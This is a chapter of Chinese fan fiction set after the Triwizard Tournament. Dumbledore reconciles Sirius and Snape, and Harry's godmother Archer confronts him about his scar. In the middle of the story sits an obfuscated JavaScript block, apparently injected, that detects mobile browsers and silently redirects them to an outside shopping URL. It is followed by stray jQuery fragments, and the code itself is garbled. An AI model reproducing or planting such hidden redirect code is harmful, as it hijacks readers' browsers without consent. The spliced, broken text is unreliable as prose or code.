“波皮，”鄧布利多對龐弗雷夫人說，“勞駕，你能不能到斯內普教授的辦公室去一趟？不管怎麼說，小矮星彼得他——已經得到教訓了。儘管不該如此。”
“好——好吧。”龐弗雷夫人顯得有些吃驚，隨即她也離去了。
鄧布利多確信門已經關好，龐弗雷夫人的腳步聲已經遠去，才又開口說話。
“現在，”他說，“我們中間的兩個人可以互相認識彼此的真麵目了。小天狼星……西弗勒斯……”
鄧布利多輪番望著他們倆，說道，
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12923072|122282||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
“你們兩個我都很信任。現在你們應該拋棄昔日的分歧，互相信任。”
病床上，哈利認為鄧布利多簡直是在請求奇跡發生。
小天狼星和斯內普惡狠狠地盯著對方，臉上都是仇恨到極點的表情。
“在短時期內，”鄧布利多說，語氣裡透著一絲不耐煩，“隻要你們不公開敵視對方，我就滿意了。你們不妨握握手。現在你們屬於同一陣營了。時間緊張，我們少數幾個知道真相的人必須團結一致，否則我們大家都毫無希望了。”
小天狼星和斯內普很慢很慢地走上前，握了握手，但他們仍然惡狠狠地瞪著對方，似乎都希望對方遇到厄運。他們很快就把手鬆開了。
哈利看到阿切爾一直在憋著笑，肩膀一抖一抖的，這讓他真害怕教母的傷口再次裂開。
“這樣還差不多。”鄧布利多說著，又一次擋在他倆之間，可能也是擔心沒有人隔開，這兩個人馬上就會打起來，“現在你們倆都有任務。福吉的態度儘管我們也料到了，但卻改變了整個事態。小天狼星，我需要你立即出發。你去通知萊姆斯·盧平，阿拉貝拉·費格，蒙頓格斯·弗萊奇——那幾個老前輩——然後——”
“可以用我家的房子。”小天狼星說，“那裡不會有人發現的。”
鄧布利多點了點頭：“好，我會到那裡跟你聯係。”
“可是——”哈利說。他真希望小天狼星能留下來。他不想這麼快就跟他告彆。
“你很快就會見到我的，哈利，”小天狼星轉過頭，對他說道，“我向你保證。但我必須儘我的一點兒力量，你明白的，是嗎？”
“是，”哈利，“是的……我當然明白。”
小天狼星很快地握了握他的手，朝鄧布利多點點頭，然後就出門了。
“西弗勒斯，”鄧布利多轉向斯內普，說，“你知道我要吩咐你做什麼。如果你沒意見……如果你準備好了……”
“沒問題。”斯內普說。他的臉色顯得比往常更蒼白了，那雙冷冰冰的黑眼睛閃爍著怪異的光。
“那麼，祝你好運。”鄧布利多說，他臉上帶著一絲擔憂，望著斯內普一言不發地尾隨小天狼星而去。
阿切爾不說話了，又過了幾分鐘，她才幽幽地說：“你還是決定讓他去了。”
“我沒有辦法。”鄧布利多輕聲說。
“我必須到樓下去，”他最後說道，“我必須見見迪戈裡夫婦。哈利——把剩下的藥水都喝了。我過會兒再來看望你們大家。”
鄧布利多離去了，哈利無力地倒在枕頭上。阿切爾摸了摸他的頭，赫敏、羅恩和韋斯萊夫人都望著他。良久沒有人說話。
直到阿切爾出聲：“為什麼不告訴我你傷疤又疼了，就在前天？”
哈利望著教母，他要怎麼回答呢？不想麵對阿切爾跟赫敏一樣的，讓他儘快練習咒語好麵對三強爭霸賽第三個項目的催促？還是彆的什麼？
他最後隻是低聲說了句“不想讓你擔心”。
阿切爾平靜地看著他：“那你覺得，現在事情都發生了，然後我知道了——我可以擔心了嗎？”
“對不起……”
阿切爾沉默了一會兒，替他掖了掖被子。
“好好休息吧。”隨後她走出了病房。
哈利看到她那隻受傷的胳膊依然吊在那裡。